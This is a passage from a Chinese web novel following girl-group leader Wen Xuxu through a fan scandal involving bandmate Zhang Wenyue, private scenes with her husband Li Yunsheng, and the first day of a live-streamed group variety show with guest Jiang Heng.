温栩栩头也不抬对此侃侃而谈,她脾气很好的在跟张雯悦讲道理,并翻炒着浸满酸甜治水的花蛤加入其他调味料,大厅的香味愈发浓郁。 杜佳安吸吸鼻子已经拿出好几个盘子出来等着意面出锅。 温栩栩桃花眼夹她一眼,却是笑着将腌制好的牛排放入煎锅中。 张雯悦十分痛苦,却仍不愿低头,花蛤已经熟透了,温栩栩方才倒入意面翻搅均匀后装盘出锅招呼着杜佳安几人端盘先用餐,自己则继续煎着牛排。 “出了这种事情你早些站出来代你的粉丝道歉口碑就还有逆转的可能,越迟路人缘就会越差。继续任由自己的粉丝以及其他粉丝针对‘小猪宝贝’,那我们的团粉绝对会因此酌情扣减你的好感分,如果你真的愿意成为团队的边缘人物那随你。” 温栩栩同时用了两个煎锅煎牛排还分神跟她交谈,她队长她是讨厌张雯悦的。 但张雯悦没有真的给她造成什么严重的实质性的伤害所以她还可以把她当做团内队员,该提醒的还会提醒,然而能不能听进去就是张雯悦的事了。 张雯悦浑浑噩噩的,林海也跟在一边规劝让张雯悦不要继续杠劝她低头服软道歉。 林海是脾气好看她年纪还小又是女孩子所以才笑呵呵的劝,眼瞅着张雯悦权当听不见神游天外的姿态实属让林海恼了。 “我是你们的经纪人我还能害你们吗!你队长温栩栩这么说我也是这么劝,现在你只要出面道歉就够了,这件事很难吗?你做不到我帮你发!” 林海憋不住直接登录张雯悦微博开始编辑微博文字,张雯悦凄厉尖叫,“不行!你不能发那些!” “我是无辜的!这件事最无辜的就是我!会有人清醒过来后为我说话的!粉丝做错事不该偶像买单!我不能替她背这黑锅!我不道歉!我不会道歉的!” 张雯悦打死都不肯道歉,林海被她气坏了,“我是你的经纪人,公关方面的事情就该听我的,我本不想对你说重话,可你实在是不可理喻!如果你觉得我这件事做得不对你就去黎氏娱乐上报让黎总开除我!但只要我没被开除这件事就必须按照我和队长说的方法走!” 张雯悦愤恨的瞪着一派悠闲切牛排的温栩栩直接摔门走了。 没人去追她,林海在气头上不会管她,温栩栩几人更不会管,在她们看来张雯悦已经是团队的边缘人物了。 林海撰写微博语气十分真诚的向温栩栩乃至牵连甚广的几位艺人以及圈内前辈道歉,最后将“小猪宝贝”的错误都揽在自己身上,并希望粉丝们能够引以为戒不要去攻击任何人,也希望她们不要再继续攻击“小猪宝贝”,未来的路她会陪着她们一起走。 这条微博发出后果然挽回了些口碑,团粉当真觉得张雯悦是个有担当的,能在这时候替粉丝抗骂声。 温栩栩的粉丝虽然心有不满,但人都出面回应道歉了她们也就不再攻击张雯悦,其他几家粉丝也懒得理张雯悦,这事儿就算这么过去了。 第562章 今天只能我亲你 林海也觉得这事能解决了,眼瞅着这条热搜要被压下去了,结果又冒出了一条新热搜爆上来,主人公又是张雯悦! 那是一条爆料视频,张雯悦穿着一条暴露的露胸长裙在酒吧里跟人热舞,视频拍摄的时间就是林海发出博文后不久! 这时间太过巧妙让人不得不多想,张雯悦是不是真的诚心道歉被人刷上去。 {出这么大乱子把夜阑影帝、江恒、赵导、这些人都炸出来了她却是一点都不知道着急是吗?我看这也不是诚心道歉啊,这就是随便发了条道歉的博文为了压热搜呗。} {真诚心道歉能这会儿去酒吧浪?她到底有没有羞耻心?这些老师没有发博为温栩栩澄清前不知道多少人骂温栩栩资源咖呢,她倒好,发了条博文想洗清自己,行,你发博文道歉语气挺真诚我们原谅你了,可你发了博文下一秒就出现在酒吧穿着暴露跟人热舞!你哪里感觉到歉意了!为什么我看到的是你把所有人玩弄在股掌之间的得意嚣张!} {张雯悦这人是真的不行,她跟温栩栩之间应该是有点仇的,但温栩栩是队长啊,对所有队员必须一视同仁,稍有不慎就会被人放大了议论。之前《未来女团》没到决赛的时候张雯悦看到温栩栩排位第一那脸色就不好看,决赛温栩栩是C位时她表情都不对。后来团队参加活动你们看看路透视频路透照片,张雯悦不是一次冲温栩栩翻白眼瞪温栩栩了,我记得还听人说张雯悦私下总跟温栩栩起争执,就那口气纯属没事找事那种,温栩栩都因为在外怕闹大了对的影响不好把事情压下来。有些人也别来杠说张雯悦那会儿心情不好,她也不能够天天心情不好吧,每一场活动她都没有笑模样!注意是每一场!} {张雯悦不行那还用说吗?去翻专辑上线前女团成员们直播时张雯悦都在暗示她粉丝什么。‘小猪宝贝’为什么站出来发这些资源分配有关的问题执意温栩栩攻击黎氏?全因为张雯悦在哭诉自己受到不公平待遇被打压啊!这女人真的坏!} {这次微博道歉的博文我都怀疑是不是张雯悦本人发的,说不定是经纪人在操控呢,张雯悦本人早跑去浪了!} {其实张雯悦看不上温栩栩也情有可原吧,毕竟张雯悦曾经跟张雨萌是好姐妹,她们一起从H国出道,可张雨萌因为温栩栩才变成现在这样,张雯悦对她有敌意我是可以接受的。} {笑死了!楼上惊现圣母婊!竟然有人觉得张雨萌变成这样是因为温栩栩?张雨萌这么惨不是她自己又毒又坏毫无人性利用粉丝做事无下限所以才遭到报应?这跟温栩栩有什么关系就往温栩栩身上推!你该说怪不得张雯悦这么坏,因为张雯悦跟张雨萌一起从偷偷H国出道回来的,所以两人一丘之貉都不是好东西!} {有一说一,没了张雯悦只会更好吧,五人组合才完美。} {没了张雯悦就完美了,试想一下五个漂亮姐姐笑容甜美就只有张雯悦一个人拉着一张驴脸……让她赶紧滚去退队别连累了!} 谁能想到张雯悦这么疯,都被人骂到这份儿上了还跑去酒吧喝酒跳舞发泄还好巧不巧被人拍下来! 这种情况下但凡有点理智就做不出这种蠢事。 温栩栩这一刻真想随了大众意见把张雯悦踹出团队把团队变成五人组。 她忍了半天跟林海想了个新法子,发微博表示女团即将录制团综,此前商量好一起去酒吧庆祝,刚好也庆祝《黑暗侵袭》的高票房。 因为张雯悦惹出了麻烦所以自己决定先去酒吧探店,她们几个吃过午餐后随后赶到一起聚会。 明明是张雯悦自己不知天高地厚想疯,硬是被温栩栩和林海把事情压下来,这热搜也被撤下,不过到底有多少人信了这话就要另说了。 但讨论张雯悦的声音果真少了,全都改成讨论的团综,粉丝们纷纷期待这次团综,并在微博下留言期待温栩栩男装。 一群粉丝嗷嗷的求着温栩栩拍个男装变装视频给粉丝发福利,还有些人询问能不能把夜阑和江恒请来参加团综露个脸,说什么的都有,就是议论张雯悦的人少了。 女团的确是打算明天开始录制团综,现在算是先给团综预热一波。 杜佳安吃过饭本想午睡休息休息,岂料因为张雯悦闹出的事情还需要去酒吧走一趟演戏作秀。 其他队员也颇为无奈,索性只是走了一趟把喝得烂醉的张雯悦带回来又一起拍了张大合照算完成任务又把照片上传微博,好让粉丝知道她们团队真的去酒吧聚会了。 张雯悦一个人发疯,整个团队都要为她一个人擦屁股,这感觉恶心透顶。 张雯悦是被喝的烂醉时带回来的,回到别墅嘴里还恼恨怒骂温栩栩心机婊作为队长不肯帮扶她,迟早有一天要把温栩栩也拽下来让她尝尝这滋味儿。 林海听的直发愁,温栩栩面不改色全都录下来也不管张雯悦是真醉还是假醉直言,“你敢对我出手我就能让这段录音火爆全网。” 女星里没谁比温栩栩更有魄力,张雯悦那些小手段温栩栩都不看在眼里,也就是看她自己作,她现在不就自己把自己名声作坏了? 张雯悦是真醉了,躺倒在沙发上又骂了几句这才没声了。 温栩栩回了公寓就看男人从浴室出来,腰间只围了一条浴巾,好身材一览无余,眉宇间却带了几分水汽让他面部表情都柔了几分不再显得过分冷冽。 温栩栩锁上门小跑到他身边扯掉他的浴巾丢到床上。 黎云笙:“……” 他口气似是有些无奈,“闹什么。” “哇,这么大一个美男我怎么把持的住,老公你不要太看得起我。” 温栩栩搂住他脖子亲了亲,在他颈间留了个印记咯咯直笑,惹得男人呼吸急促将她双手反扣住压在墙上,温栩栩扭头,自带风情的桃花眼夹他一眼,“老公我明天要录节目,你哪儿都不能亲,只能我亲你。” 第563章 今天的事委屈吗 男人手上力道放松,居高临下的看着面前为他服务的小妻子,气息已愈发急促,时间过于漫长,直到温栩栩眼尾含着泪花抬头十分可怜的控诉他的暴行。 男人喉头微动将人扯到床上搂在怀里。 “今天的事委屈吗。”他开口询问。 温栩栩猫一样眯着眼哼哼:“你问哪件事?是刚才那件事?那你下次要对我温柔点。”她慵懒的睁眼在男人唇角亲了一记。 男人揉揉她的头:“你知道我说的是哪件事。” 温栩栩握着男人另一只手把玩,却并未把张雯悦放心上:“跳梁小丑而已,我自己能解决。” 她果真是能解决的,都不需要黎氏娱乐出手就控制住舆论。 “可以是六人团也可以是五人团,有什么需要随时跟我讲。” 温栩栩十分满足的窝在他怀里:“我自有打算,她虽然是个暴脾气不好相处的,但说到底还没有做出什么伤害我的事,我也没必要上纲上线毁人星途。如果她真的触及我底线,我一定会找你帮我的。” 她扬起小脸笑:“毕竟我的靠山可是你啊,我有什么好怕的。” 男人终是没再说话想拥着人睡去。 “对了,明天就要开始录制我们的团综,你是不是要早点送我去剧组?”她提了一嘴。 男人脸色黑了一瞬手臂铁一样箍住她的细腰不撒手,“睡觉。” 温栩栩也不去想了,只想明早上早点走。 女团处在风口浪尖上,女团名还在热搜上挂着呢,温栩栩这边已经微博表示第二天开始录制的团综,本来是打算录制七天轻综艺并在这七天内每天邀请一位嘉宾来别墅内做客并一起完成任务,黎氏娱乐那边直接告诉节目组导演第二天综艺将由全天直播形式开始录制直到所有嘉宾入睡。 这档节目前期由直播形式呈现,后期才会剪辑成综艺节目上传到各大平台乃至电视台。 黎氏娱乐是当天晚上电话告知林海这一变故,林海当时整个人都傻了,他也知道黎氏那边是看现在在网络上热度高所有人都观望着所以才把节目改成直播形式。 但是这几人只要跟张雯悦一起那就是剑拔弩张的氛围啊!这要被直播出去就完了。 “赵总,内部关系真的像网传的那样,如果以直播形式来播这档团综那会对造成不好的影响啊,您看是不是能改一改形式让她们每天单独直播一个小时?” 林海苦口婆心全在为团队考虑。 对面的赵总直截了当,“别跟我说其他的场面话,一路是怎么发展过来的大家有目共睹,靠谁撑着的你也清楚。现在的没了温栩栩还有谁知道?” “我要的是团队内每个人都火而不是一个人牺牲热度去带其他人让队内其他人不知感恩的吸血。你知道我说的是谁,这次团综就以直播形式让粉丝们看看清楚内部有没有矛盾,有没有人靠着资本欺负张雯悦,到底是谁在压榨谁。” 张雯悦本就不是黎氏娱乐内部签约艺人,温栩栩不同,温栩栩是黎氏今年力捧的小花,凭什么他们黎氏的小花要被人踩? 她张雯悦算个什么东西!这在这位赵总眼里就是敌人骂上门了我们还躲呢,躲什么躲?主动权本来就在黎氏手里。 黎氏既然能把这女团做起来也一样能让这女团散了把张雯悦踢出去。 林海也是满心苦涩把这件事情发到团队的群里告诉她们这次团综全天直播,每个人都会配备一位跟拍的摄像老师,除了烂醉的张雯悦其他人都知道了这事。 林海大早上的赶到别墅把睡在沙发的张雯悦摇醒说清楚这事。 巧的是张雯悦的经纪人前两天休假,得知张雯悦闹出的这档子事后给张雯悦打电话一直没打通又看到黎氏娱乐官博发出女团将要直播录制综艺这事儿心里着急,直接开车去找张雯悦。 俩人就这么在别墅碰上了。 张雯悦所属的娱乐公司一直做爱豆输出的,现在张雯悦是他们公司小爆的艺人,但说不上火,可好不容易从《未来女团》中被选出来进了那必定要多带点流量才行。 这个女团现在被多少人看做是国内最火的女团,虽然其他人德不配位但捱不住温栩栩热度太高,张雯悦的经纪人何林就是想让张雯悦蹭温栩栩的热度火一把。 但张雯悦太蠢了,他来的路上看了那些乱七八糟的热搜气的想骂人,只想给张雯悦好好上上课,告诉她什么该做什么不该做。 何琳和林海两人打了声招呼,林海把这阵子跟张雯悦有关的事情一股脑都告诉了何林。 要不说是个能让自己艺人吸女团血的经纪人?当下就鼻子不是鼻子眼睛不是眼睛道:“要我说你们黎氏这事做的的确不对。” 林海都懵了。 “出道前黎氏是怎么说的?不是说会好好对女团的所有成员吗?可出道后就温栩栩资源最好,这谁瞧了心里都会不大舒服。” 他们公司就是这打算,如果能顺利出道一定要扒着黎氏娱乐多要点资源吸黎氏的血培养出一位小花,到时候再让小花奶新人。 “这位先生是觉得我们黎氏对的资源分配的不好?自己去对比你们公司推出的男团女团拿到的是什么资源再来说这话。” “想吸黎氏的血就直说,别把这些乱七八糟的高帽子堆我头上,我受不起。真要觉得我资源有问题那就好好去看微博,我资源怎么来的那些前辈老师不是都已经给你答疑了?也别问我不知道在哪里看,长脑子的都会搜,作为一位经纪人连搜索都不会的话干脆直接辞职回家待业别在圈子里丢人了。” 今天要全天直播,温栩栩早早起来洗漱收拾妥当后来到拍摄的宿舍别墅。 岂料开了门就听见一楼有人争吵,仔细一听竟然是张雯悦的经纪人。 听到何林那不要脸的言论她都想拍手鼓掌说一句不愧是张雯悦的经纪人,两人当真绝配。 第564章 他老婆是真的会玩 何林也是见过大风浪的,只能继续厚着脸皮呵了一声,“温栩栩,我知道你是黎氏力捧的小花,可是该有的礼貌还是要有的。” 温栩栩下楼做着三明治还不忘讥笑一声,“原来你字典里是有礼貌二字的,怎么对我们团队的经纪人时就把这两个字吃了呢。” 何林再厚脸皮也憋不住,“你们黎氏的艺人也就这样了。” 温栩栩利落的切了片西红柿塞进面包里,“说这话前先看看自己面前的张雯悦,你们公司的艺人也就她那样了。” 张雯悦涨红了脸,“温栩栩!我这样的怎么了你说清楚!” “不怎么样,也就是拍MV不停NG,录歌找不到感觉,拍杂志耍大牌,粉丝最少流量最少最爱炒作蹭热度有事没事给团队找点事去酒吧露个脸让路人觉得女团是个太妹组合。哦,除了这些你也就没做什么好事了,你满意吗。”温栩栩一针见血,字字句句戳张雯悦脊梁骨半点面子不给。 开玩笑,这经纪人和艺人上赶着找虐她还能给他们脸?美的他们。 温栩栩低头看时间,“如果我是你,我会早点整理好自己的心情不再跟团队闹矛盾,毕竟再过不久《温馨小屋》节目组就会来别墅进行全天直播,直播和录播可不同,像你这种人一旦直播恐怕连条狗看到你都要黑你。”这话是真的毒,张雯悦气儿都没喘匀就这么险些晕过去。 温栩栩说完话端着盘子上楼,连看都不多看张雯悦一眼,等到上了二楼又提醒了句,“张雯悦,你要是个聪明人现在就赶紧听王哥的,如果真听了你那没脑子只会作妖的经纪人的话,你这辈子就全都毁了。”这算是她作为队长最后的忠告。 何林脸色铁青,张雯悦坐在沙发上生闷气,何林阴阳怪气道,“林海,你的艺人可真能说。” 林海笑呵呵回应:“哪里哪里,这实话也不用动脑子张口不就能说吗。” 他家艺人这也算是间接为他出头了,他怎么可能站出来打自己艺人的脸。 何林怒了跟林海在一旁针锋相对故意拆林海的台,张雯悦听他二人安排听的头都大了,实在是没听下去回房休息,只是满脑子等会儿全程直播那事,愈发睡不着了。 录制节目的宿舍别墅是温栩栩团队一直住的女团宿舍,黎氏因为她特地准备的,不过凑巧的隔壁就是黎云笙在A市其中一套空闲别墅,大抵是因为温栩栩总是有各种工作,所以黎云笙很干脆的把她房间内浴室的墙砸了安装了一扇新的门。 最初温栩栩知道的时候还挺无语的。 不过她有时候还挺馋黎云笙的,总是工作还看不到对方,在外面又怕被拍到,就算黎云笙不砸那墙她迟早也会把墙砸了的。 方便他们睡觉幽会了,哦,也方便她找自己的金主爸爸告状了,完美。 昨晚黎云笙就睡在她这里,啧,实在是方便他们厮混哦。 温栩栩回到房间时男人还没起,她倒是干脆直接拉开窗帘还取了湿毛巾搁男人颈窝冰了一冰愣是把人冰醒了。 男人一醒就皱眉把人压床上,温栩栩立刻举手求饶:“我错了我错了,好哥哥放过我,我就是叫你起床吃饭没想干别的。” 他哪里管这些,温栩栩就是故意作妖,真当他看不出?硬是把人欺负了一通直到天大亮早餐彻底凉透了心情才好些下床洗澡换衣用早餐。 温栩栩小尾巴似的软着腿跟在他身后,等男人吃了早饭就窝在他怀里撒娇:“腿软,哥哥给我捏。” 温栩栩是真的会撒娇,还不时的挑着眼尾示弱哼哼唧唧的,偏他就吃她这一招。 “我刚才下楼看到张雯悦的经纪人了。”温栩栩是真觉得有那么点不可思议,“我觉得我现在也算有热度的艺人,那些经纪人见到我不说毕恭毕敬好歹也要礼貌些,在这圈子多个朋友总好过多一个敌人啊,她的经纪人见到我就咋咋呼呼的生怕不跟我结仇,也是不怕我给张雯悦穿小鞋。” 黎云笙挑眉,看她在他面前叭叭告状说八卦还真有点可爱,伸手把她的嘴巴捏成小鸡嘴勾唇道:“大概在他看来你跟张雯悦已经结了仇没必要继续结交。” 温栩栩更觉不可理喻:“如果我真的跟谁结仇那肯定哪会这么轻松就放过还帮她解决烂摊子的,她该去看看张雨萌是什么下场才对。” 张家公司都没了。 温栩栩觉得她还是挺好的,虽然睚眦必报做事狠了点但一般小打小闹她不放眼里也不会因为点小事就把谁记心里去报复,不然张雯悦早被她赶出女团在圈子里没饭吃了,更不会吃力不讨好的劝她听林海的话。 温栩栩搓了把脸从男人怀里抬头:“这几天录制节目的时候你就别过来了,等录制完节目我来这里找你。” 男人没说答应也没说不答应,温栩栩却是从他腿上跳下去哒哒哒小跑的打开衣柜翻出男人的衣服领带什么的一股脑丢到男人身上,“这些也要带走,万一节目组心血来潮要拍我衣柜呢。”她笑的一脸无辜,一点都看不出是在报早上被欺负的仇。 男人阴沉着脸拧眉看她,温栩栩笑的眉眼弯弯的:“节目组快来了,老公你快走。” 她凑到他耳边呢喃:“隔壁小哥哥,晚上趁我老公不在我找你嘿嘿嘿。” 黎云笙,“……” 他老婆是真的会玩。 上午八点,《温馨小屋》节目组抵达女团别墅居住区并在各处安置了摄像头,温栩栩带领女团成员跟导演和摄影老师打过招呼后每人都被分配了一名直播专用的摄影老师。 之前女团的公演舞台曾以直播形式表演过,但那仅仅是公演舞台直播几个小时,现在的《温馨小屋》等同于睡觉前所有时间在内都曝光在摄像头前,稍有不慎就会出丑。 九点直播正式开始,观看直播的观众纷纷涌进直播间,其中温栩栩的直播间很快爆满,粉丝们刷屏撒花送礼物。 第565章 一个顶他们五个 昨晚就通知她们第二天九点会开直播,是他们的团综轻综艺直播要她们打扮的舒适一点最好是休闲打扮,温栩栩穿了套粉嫩嫩的卫衣,一头乌黑长发梳到脑后远了看就像一个高中生。 直播间粉丝不刷“姐姐”“女王”了,一股脑儿的全都在刷“妹妹”。 她们几个似乎都是商量好的全都穿了很宽松的卫衣,杜佳安挑了黑色款,秦萌萌穿着亮眼的橙色款卫衣到处乱窜,摄像师也跟着她到处跑生怕她跑到镜头外。 只有镜头内的张雯悦打扮的十分隆重,明明是在别墅内却穿了套亮闪闪的蓝色礼裙,张雯悦粉丝一直在夸奖张雯悦这身裙子好看,节目组的导演看着这六个分屏都被张雯悦办的蠢事气笑了,昨天都告诉她们穿的宽松点,张雯悦这是故意找了套小裙子显摆自己好看呢? 别人只是打了个底涂了口红让气色好看点,就张雯悦画了个浓妆,这看着不像是轻综艺倒像是下一秒就登大舞台了。 林海也没想到张雯悦卡着点下楼就为了这套裙子,何林显然知道这一茬丝毫不意外,似乎就想让张雯悦艳压组里其他人,蠢到这份儿上的也是少见。 导播透过喇叭已经开始发布今天的任务:“今天是《温馨小屋》开始录制的第一天,节目组为你们请来了一位业内很有名且唱跳俱佳的前辈,这位前辈跟你们的队长很投缘,两人还有一个最火热的CP。这位客人你们猜到是谁了吗?” 几个人的弹幕都停顿了片刻跟卡了一样,几分钟后刷出“江恒”的名字。 温栩栩直播间的粉丝提醒温栩栩离江恒远一点,CP粉则在嘤嘤嘤,有些闻讯而来的江恒粉丝开始守着温栩栩直播间等着看她们哥哥。 温栩栩对着屏幕笑了笑还没说出江恒的名字别墅的门就被打开,江恒这次打扮的低调,应该是导演组提前知会了一声所以穿了一身运动装打扮的像个小少年有点小清新,只是大半张脸都被口罩遮住就露出那双漆黑的小鹿眼。 女团的队员们除了温栩栩还真是第一次跟江恒本人这么近距离接触,见江恒拽掉口罩露出那张雌雄莫辨精致无比的面孔纷纷倒吸了口气心道被评为亚太地区最帅面孔并一直排在前三的江恒颜值果然不是吹出来的。 杜佳安扯着秦萌萌的衣袖小声的啊啊啊尖叫:“竟然真的是江恒真的是江恒啊!好帅啊真的好帅啊!” 秦萌萌发出嘤叫,显然是江恒的粉丝。 张雯悦也被迷住了,江恒却抬眼一眼瞧过去抬抬手:“大家好我是江恒。” 江恒粉丝早等着呢,粉丝们已经开始弹幕告白了。 {听说我们哥哥来参加《温馨小屋》了,这节目还是直播形式的,我好怕啊啊啊,我们哥哥那臭脾气谁看了都想跟他动手啊!} {我们哥哥就是个小少爷,这要真直播了指不定要被多少人骂他少爷脾气了,哥哥你悠着点,远离摄像机。} {我哥掉进了盘丝洞,我恨,我也想近距离舔我哥神颜。} {我没别的要求,哥你离异性远点就行,你知道我说谁吧!离温栩栩远点!远点!} {让你离温栩栩远点呢!你蹦蹦跳跳跑过去干嘛呢!你偶像包袱呢!哥你回来!你别围着温栩栩啊啊!} {温栩栩!温栩栩!我求求温栩栩别搭理我哥啊啊啊啊!} 弹幕怎么叫嚣江恒都不知道,江少爷骄矜的一步并三步溜达到温栩栩跟前,“昨晚说好给我留早饭,我早饭呢?我酸奶呢?” 温栩栩瞥了眼餐桌方向,江恒一点不拿自己当外人走过去还把运动衣外套脱了搭椅子后面嚷嚷:“温栩栩我晚上要住这边的,你把客房收拾出来没有?” 弹幕刷的更快了,温栩栩粉丝要把江恒丢出去让他睡外面草地上,江恒粉丝也纷纷附和表示自家哥哥身体倍棒草地和车子都能睡,只要不睡别墅里面哪儿都成。 江恒对此嗤之以鼻,悠哉悠哉的戴上一次性手套开始吃三明治。 三明治是温栩栩早上做的,里面夹的是早上起来煎的酱牛肉,牛肉煎的软烂喷香,鸡蛋是打散了煎成饼状又放了片西红柿生菜来解腻,切开后只看搭配都让人食欲大动,咬一口也是喷香。 摄影师特地给了个特写镜头,还在吵吵嚷嚷要让江恒出去睡的弹幕表示自己饿了并掏出一袋面包纷纷去做三明治。 偏江恒是个气人的,吃一口就要捂着脸开夸:“温栩栩你这牛肉煎的火候刚刚好,完美,我跟你说我就不喜欢三明治这东西里放那些芝士和什么蛋黄酱的,这样就超好吃了!” {好了好了知道好吃了哥哥你闭嘴吧好吗!} {咦呜呜呜我也想吃姐姐亲手做的三明治!} {我杀江恒夺三明治!} 弹幕开始馋了,江恒嘚瑟的很,导播在这时候发布了任务。 “今天的第一个任务,请各位用五十块钱做一顿丰盛的午餐,要六菜一汤三荤三素。” 江恒听到这任务还有点云里雾里:“五十块钱做三荤三素还一汤?导演你是在为难她们呢?” 弹幕也纷纷刷这些明星怎么会做饭,别说明星了现在很多人都是叫外卖的也没几个人自己动手做饭啊,江恒夸温栩栩三明治做得好,可那也就是三明治,至于三荤三素那也不是随便就能做出来的。 温栩栩挑挑眉:“倒也不是很难 。” 温栩栩这一句话直播间全都是“?”。 有信她能做出来的有不信的,五十块钱做这些还要做的丰盛美味那必须要有经验的老人才行,弹幕已经在劝让温栩栩问问导演有没有别的任务挣个钱再去买菜。 温栩栩开口询问:“谁要陪我出门买菜?” 杜佳安正要举手,江恒已经喝完一罐酸奶跳到她跟前,“我,我陪你去买菜就行了,我一个顶他们五个。” 张雯悦有些扭捏的也站出来,“那我也陪你一起去买菜吧,我能帮你提东西。” 第566章 嫌弃 江恒颇有些嫌弃,“你穿这样跟我们出门?你认真的?” 张雯悦眨着眼睛笑的十分天真可爱,“我穿这样出门不可以吗?” 江恒也是个天天冲浪的当然知道张雯悦跟温栩栩不对付,他才不告诉张雯悦这样多累人只嗤了一声摆摆手应了。 打从看到张雯悦第一眼就知道张雯悦心里盘算什么主意,别人都穿卫衣就她穿小裙子,显出她与众不同啊。 温栩栩和张雯悦的摄像机跟着她们出门,摄像机这才拍到了别墅外面的小院以及那几辆车,弹幕都震惊了。 {我早发现不对了,她们那一楼大厅大的离谱而且装修超级豪华一点不像娱乐公司配给女团的房子啊,当时就觉得是别墅,妈惹果真是别墅!瞧瞧这别墅的小院子这价格贵着呢!} {嘤,我信黎氏娱乐是真的想力捧女团了,这简直是把她们当重点培养对象不然怎么可能这么大手笔!} {谁家团队住别墅!这么好的待遇资源还差得了?以后网上再有人说黎氏娱乐苛待破晓女团的我逮谁骂谁!} {黎氏简直太良心了好吗!} {呜呜呜但凡是我原来追的团有这待遇我能把黎氏供起来夸啊!} 张雯悦的粉丝却安静如鸡不敢吱声,温栩栩离开前还嘱咐杜佳安她们收拾一下餐桌,然后让她们在各自房内练习舞蹈及团内的歌曲,直播间的粉丝纷纷开心感谢队长让她们看到自家姐姐再跳舞唱歌。 她这么安排是因为这档团综录制结束后有个晚会邀请她们表演所以需要多练习省的上台丢人。 温栩栩和张雯悦各自开了一辆车,张雯悦特地邀请江恒坐她的车,江恒干脆的拒绝以“我是为温栩栩才参加这档节目的,她去哪儿我去哪儿”拒绝的十分干脆。 张雯悦当时脸上的表情都僵了。 温栩栩粉丝十分痛快弹幕里难得感谢江恒嘴下不留情。 路上张雯悦一定要去别墅区附近的超市跟温栩栩闹了别扭并表示这里超市的东西最干净最上档次,温栩栩则选择去远一点的平价超市挑选食材。 张雯悦原话是这么说的,“外面超市的东西都不干净,这里超市的东西贵肯定是有贵的道理,我们请客人吃饭总不能吃那种便宜东西,那么便宜的吃进肚里说不定会得病,外面超市有没有好好消毒都要另说,我们又不是没钱干嘛要去外面超市,那都是穷人才去的超市。” 张雯悦的有些粉丝觉得这话没毛病,有些粉丝不冒头了。 温栩栩直播间里的粉丝听到这话都不爽了。 {什么意思啊!平价超市怎么就是穷人去的了!我们普通人去的超市碍着你什么事了!} {平价超市哪儿不干净了?觉得自己多高贵呢?张雯悦到底是个什么东西啊,不就参加选秀火了就觉得自己高人一等?日!她火不了几天了!} {我天天吃平价超市的东西还经常抢处理的便宜菜一点病都没有健康的很!} {我……我平常还买临期酸奶牛奶面包呢,因为临期的真的很便宜啊,价格差了一半……} {张雯悦要不能说话就别说话了。} {笑死了,导播这里只给五十块钱请吃饭还要做出三荤三素一汤,就这去平价超市都不一定够用张雯悦还想去那别墅区的超市?容我给大家介绍一下那别墅区的超市是为富人服务的,菜价是普通超市的好几倍,食材是好了点但也没好到天价的地步,也就是开在别墅区占地原因所以金贵,温栩栩选择外面的超市一点问题没有,张雯悦因为这事儿耍小性子纯属犯蠢了,别理她,越搭理她这种人她越来劲。} 温栩栩本来也没想搭理她只是意味深长道,“我小时候一直吃的都是普通超市的东西,有时候也会去菜市场甚至路边摊买些食材。” 说了这话温栩栩就摇上车窗驱车而去,似乎是看都懒得看张雯悦了。 张雯悦气的直跺脚,眼睛里都是浓浓的戾气,看着是对温栩栩积怨颇深。 但她又不想就这么回去,毕竟跟在江恒身边直播间的观众才会更多,她只能开车跟在温栩栩身后还不忘喋喋不休的对着镜头觉得自己说的没错,直播间的粉丝都对此无话可说。 到了超市温栩栩挑了两个琵琶腿,现在超市有活动,鲜琵琶腿特价她称了下才十块钱。 张雯悦看着那价签十分不敢置信,“十块钱两个大琵琶腿?这么便宜真的能吃吗?会不会不干净?” 超市内的售货员听此没忍住翻了个白眼,“我们超市的东西都非常新鲜每天都会经过检验合格后才会进行售卖。” 温栩栩对她笑笑,她们都带着口罩,但那售货员还是认出了温栩栩一时有点激动,温栩栩小声道,“不好意思啊,我们在录制节目,我们不希望引来粉丝给你们也带来麻烦。” 售货员捂着脸连连点头,却还是没忍住看了张雯悦一眼,“那刚才那个不会就是你们组合的张雯悦吧,逛超市还穿小礼裙啊,她怎么想的?” 温栩栩只笑了笑将琵琶腿放进推车内,又去称了条草鱼,一条草鱼二十二元。 温栩栩心里算着,琵琶腿可以切块做成辣子鸡丁,草鱼可以做成鱼头豆腐汤和酸菜鱼,现在猪肉价格下来了但也要十块钱一斤,要了半斤的里脊肉可以拿来做糖醋里脊,这就是三个荤菜外加一个汤,还有三个素菜。 草鱼二十二,里脊肉五元,琵琶腿十元,已经花去三十七元,还有十三元。 两块钱一斤的包菜两元,两块钱的豆腐,两根黄瓜2.5元,两颗土豆一元钱,半斤油麦菜两元钱,最后剩下的钱买了一小袋金针菇,当然,这是因为最近搞活动所以价格这么便宜。 手撕包菜,拍黄瓜,酸辣土豆丝,蒜蓉油麦,炝拌金针菇,还多了两道素菜,完美啦。 江恒提着食材往回走,跟温栩栩提起这次演唱会有多成功,还有一搭没一搭提起自己跟表演老师学习演戏的进度,看向温栩栩时眼睛都是亮晶晶的,似乎就等着温栩栩什么时候约他一起合作拍戏。 第567章 超优秀的温栩栩 “你们公司可真奇怪,不知道怎么想的,专辑都卖出去了MV却要明天才能观看,我还等着我们拍的MV上线被人剪辑一波呢。” 江恒吐槽了一句就像往谭底扔了个炸弹似的,直播间本来还在讨论家长里短猜温栩栩要做什么菜,还有些在打赌温栩栩会不会做饭,全因江恒这句话变得更活跃。 {啊,温栩栩MV主角是江恒?这不是他俩第一次合作了吧,之前还有合作过几次综艺,演唱会也成为助演嘉宾,两人互相探班,这两人的感情我真无话可说了。} {散了吧散了吧哥哥已经没救了,哥哥已经便宜卖给温栩栩了,八匹马都拉不回来我们的哥哥了,败家玩意儿让他出去嘚瑟吧。} {啊?可我怎么听说温栩栩那首MV是跟夜阑老师一起拍的?怎么还跟江恒扯上关系了?} {别胡说了好吗,温栩栩的MV有江恒还不够你还想让夜阑也跟温栩栩一起拍摄?你怎么想的?合着圈内顶流前辈都要来捧你们姐姐是吗?} {夜阑老师跟温栩栩关系那么好,这种事情也不是不可能啊,有些人在这里酸什么?朋友之间互相帮助拍个MV都要挨骂了?} 直播间还真有为此掐架的,也不知道是哪家粉丝,估计是看不上温栩栩红的太快所以买了水军,但很快被温栩栩粉丝怼的不敢吱声。 镜头中温栩栩眼睛弯了弯,两个人已经到了停车场,她扯下口罩露出那张即使没化妆却仍然明艳动人的脸蛋。 直播间静默片刻开始舔屏。 温栩栩冷不丁开口,“大概是我们公司也不知道该放哪一版MV了吧。”温栩栩眼尾上挑,“托你的福一定要来我的MV里横插一脚。” 江恒双手枕到脑后十分惬意,“想那么多干嘛,实在不行就放三个版本,夜阑跟你一版,我跟你一版,你跟我俩三个人虐恋纠缠的一版,这不好吗?想想都觉得完美。” 